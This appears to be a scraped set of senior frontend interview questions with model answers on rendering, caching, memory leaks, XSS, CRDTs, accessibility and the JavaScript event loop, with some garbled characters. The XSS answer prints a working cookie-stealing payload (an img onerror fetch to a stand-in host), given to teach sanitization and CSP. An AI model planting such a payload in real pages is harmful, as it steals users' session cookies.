Staff-level questions โ reveal the model answer when you're ready
will-change โ the rendering pipelineindex.html caching + chunk mismatchdangerouslySetInnerHTML + CSPuseIntervalwill-change: transform on it and call it done."
Walk through what causes scroll jank in the rendering pipeline, why will-change: transform helps, why it's a dangerous blanket fix, and what you'd investigate first.
width/height/top/left/margin recompute geometry. Most expensive.background-color/box-shadow/color skip layout but repaint pixels.transform/opacity skip both, run on the GPU compositor layer. Cheapest.will-change forces a permanent new compositor layer. On everything โ layer explosion (GPU memory cost), compositing itself becomes the bottleneck. Scalpel: add right before an animation, remove after.
Usual real causes: non-passive scroll listeners blocking the main thread, or forced synchronous layout / layout thrashing (read offsetHeight then write in a loop). Don't guess โ record in the Performance panel first.
Each keystroke re-renders the list: React reconciles and commits thousands of fibers synchronously on the main thread (non-interruptible pre-18). One keystroke = one long blocking task = dropped frames.
react-window). Attacks the root cause. Cost: variable heights, Ctrl+F/Tab break.useTransition/useDeferredValue: keep the input urgent, mark the list render a low-priority transition; React renders interruptibly and discards stale work. Cost: perceived fix only โ doesn't reduce the work.React diffs children by position by default; a stable key matches a fiber to the same logical row across renders โ turns "everything changed" into "these moved."
Windowing removes off-screen rows from the DOM, so Ctrl+F and Tab can't see them โ a genuine tradeoff, not a patchable bug. (visibility:hidden/display:none text is also excluded from find-on-page.)
content-visibility: auto + contain-intrinsic-size keeps rows in the DOM (Tab/Ctrl+F work) but skips off-screen render cost. Or roving tabindex + programmatic scroll-into-view.
Cache-Control setup for index.html vs hashed assets? Why does the chunk mismatch persist even after fixing headers, and how do you handle a user with the app open during a deploy?
Cache-Control: public, max-age=31536000, immutable (filename changes on content change).index.html: no-cache = cache but always revalidate via ETag, so it always points to the newest chunks.Lazy import() references are baked into the running tab. A deploy removes the old hashed chunks โ navigating to a lazy route fetches a missing file โ 404 โ ChunkLoadError.
ChunkLoadError โ location.reload() (one-time retry flag).version.json โ "new version, refresh" toast.Most leaks collapse to a missing useEffect cleanup โ the returned function tears down listeners/timers/subscriptions on unmount. Stray addEventListener, setInterval, leaky closures are all the same bug. Dashboard-specific: an ever-growing global store array; observers (Resize/Mutation/Intersection) left connected.
Detached โ detached DOM nodes are the smoking gun. Click one โ read the Retainers panel for the retaining path to the culprit.dangerouslySetInnerHTML; the author says "it's fine, I escape quotes on the backend."
Vulnerability class + a concrete attack, why backend escaping doesn't save it, the correct way to allow bold/links safely, and one defense-in-depth header.
Stored XSS. A raw <script> via innerHTML won't run, but <img src=x onerror="fetch('//evil/?c='+document.cookie)"> will โ fires for every viewer.
dangerouslySetInnerHTML opts out of React's auto-escaping โ React only escapes normal {jsx}. Escaping quotes โ HTML sanitization (no quotes needed for <img onerror>).
The feature needs bold/links, so plain escaping breaks it. Sanitize with DOMPurify (tag/attr allowlist) or accept Markdown and render it. Allowlist > blocklist.
CSP. Blocking inline script is its primary XSS defense. script-src 'self' blocks third-party; use nonces/hashes for your own inline. 'unsafe-inline' throws it away.
OT (Operational Transformation โ Google Docs; transform ops, needs a central server, hard) vs CRDT (Yjs/Automerge โ unique IDs per edit, auto-converge, offline-first, P2P; cost = metadata/tombstones). Default to a CRDT.
The CRDT (Y.Doc) is the source of truth, bound to an editor (ProseMirror/TipTap/Slate). Never re-render the whole doc โ granular updates, memoization, virtualize the visible page, render remote cursors in a separate overlay layer.
WebSocket (y-websocket); WebRTC for P2P. Edit a local CRDT persisted to IndexedDB; on reconnect, client & server exchange missed edits โ the CRDT auto-merges (no overwrite dialog). A service worker caches the app shell. Presence/cursors are ephemeral, separate from the persisted doc.
Real users have a slower CPU (mid-range phones 4โ6ร slower โ kills JS/hydration) and real Network (4G latency/loss). Lighthouse simulates; CrUX measures real devices.
aspect-ratio or width+height.preload, font-display, size-adjust.fetchpriority="high" and <link rel="preload">.srcset via <picture>.Conflating server state (a cached copy of data the server owns โ stale, needs refetch/dedup/loading/error) with client state (UI owns it). Redux is for client state; forcing server data in = the 3-file boilerplate + hand-rolled caching.
useQuery one-liner; caching, dedup, background refetch built in).useState / useReducer.Context re-renders every consumer when its value changes (no selector granularity) โ fine for rarely-changing values, ruinous for frequently-changing ones. (And note: Redux does not re-render the whole app โ useSelector re-renders only components selecting the changed slice.)
<div>s (for custom styling) fails an a11y audit.
What did you lose vs native <select>, concretely what to add for keyboard + screen-reader users, and the senior lesson on build-vs-style.
Keyboard support, focus management, screen-reader announcements, the mobile native picker. People rebuild because native <option> is ~impossible to style cross-browser โ the only good reason, and then you owe the full pattern.
Arrow Up/Down (move), Enter (select), Esc (close), Home/End (first/last), type-ahead (letter jumps), Tab (focus out).
role="combobox" (trigger), role="listbox" (list), role="option" (items).aria-expanded (open/closed), aria-selected (chosen).aria-activedescendant โ highlighted option without moving DOM focus.Prefer native + CSS; go custom only when the design truly requires it, and budget for the ARIA pattern. Exact attribute names are lookup-able โ knowing the pattern exists and the tradeoff is the real signal.
โ Web Accessibilityconsole.log('1');
setTimeout(() => console.log('2'), 0);
Promise.resolve().then(() => {
console.log('3');
setTimeout(() => console.log('4'), 0);
});
(async () => {
console.log('5');
await Promise.resolve();
console.log('6');
})();
setTimeout(() => console.log('7'), 0);
console.log('8');
1, 5, 8, 3, 6, 2, 7, 4Sync pass logs 1, 5 (an async function runs synchronously until the first await), 8. Then the microtask queue drains completely: 3, 6. Then macrotasks in queue order: 2, 7, then 4 (scheduled inside a microtask).
After the initial script and after every macrotask, the engine drains all microtasks to zero before the next macrotask โ and render/paint happens at that checkpoint. It's a full drain, not a one-at-a-time tiebreak.
Recursively scheduling microtasks means the queue never empties โ macrotasks, input events, and rendering never run โ the tab hangs. For chunked heavy work, yield via macrotasks (setTimeout 0) / requestIdleCallback / scheduler.postTask.
count is: 0 forever and the count never climbs past 1.
useEffect(() => {
const id = setInterval(() => {
setCount(count + 1);
}, 1000);
return () => clearInterval(id);
}, []);
Why? Give two correct fixes and explain why the dependency-array fix is subtly worse.
The empty-dep effect captures count from the first render (a stale closure); the interval forever sees 0 โ sets 1.
setCount(c => c + 1) โ clean; doesn't depend on the stale closure.[count] dependency โ works, but subtly worse: it tears down and recreates the interval every second (timer drift, wasted work).Each MFE exposes modules and consumes others' at runtime; the host pulls remotes dynamically (no rebuild to get a teammate's new version). It also negotiates shared dependencies so React isn't shipped five times.
shared: { react: { singleton: true, requiredVersion } } and a versioning policy.Micro-frontends solve an organizational problem (independent teams shipping independently โ Conway's law), not a technical one. For a single team of 8, the overhead buys nothing: you'd add build/runtime complexity to solve a coordination problem you don't have. Prefer a modular monolith (feature folders, clear module boundaries) first.